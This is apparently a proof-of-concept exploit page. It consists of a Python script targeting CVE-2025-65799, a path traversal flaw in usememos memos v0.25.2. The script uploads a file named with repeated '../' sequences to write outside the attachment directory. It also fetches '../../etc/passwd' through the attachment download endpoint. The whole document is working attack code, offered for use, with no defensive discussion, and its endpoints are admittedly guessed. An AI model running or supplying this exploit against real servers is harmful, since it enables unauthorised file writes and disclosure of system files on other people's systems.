CVE-2025-65799 usememos memos v0.25.2 路径遍历漏洞

import requests import urllib.parse # CVE-2025-65799 Path Traversal PoC for usememos memos v0.25.2 # Target: usememos memos Attachment Service def exploit_path_traversal(target_url, filename): """ Exploit path traversal vulnerability in usememos attachment upload Args: target_url: Base URL of the vulnerable usememos instance filename: Malicious filename with path traversal sequences Returns: Response from the server """ # Path traversal payload to write file outside intended directory malicious_filename = "../../../../../../../../" + filename # Prepare the file upload request files = { 'file': (malicious_filename, 'test content', 'text/plain') } # Upload endpoint (typical attachment upload endpoint) upload_url = f"{target_url}/api/attachment" try: response = requests.post(upload_url, files=files, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def read_file_via_traversal(target_url, file_path): """ Attempt to read arbitrary file via path traversal Args: target_url: Base URL of the vulnerable usememos instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: File content if successful, None otherwise """ # Encode path traversal to access arbitrary file encoded_path = urllib.parse.quote(file_path) # Request the file via attachment download endpoint download_url = f"{target_url}/api/attachment/{encoded_path}" try: response = requests.get(download_url, timeout=10) if response.status_code == 200: return response.text else: return None except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None if __name__ == "__main__": # Target configuration target = "http://target-host:5230" # Example: Write file outside intended directory print("[*] Testing path traversal write...") result = exploit_path_traversal(target, "test.txt") if result: print(f"[*] Response status: {result.status_code}") # Example: Read sensitive file print("[*] Testing path traversal read...") content = read_file_via_traversal(target, "../../etc/passwd") if content: print(f"[*] File content:\n{content}") else: print("[-] Failed to read file")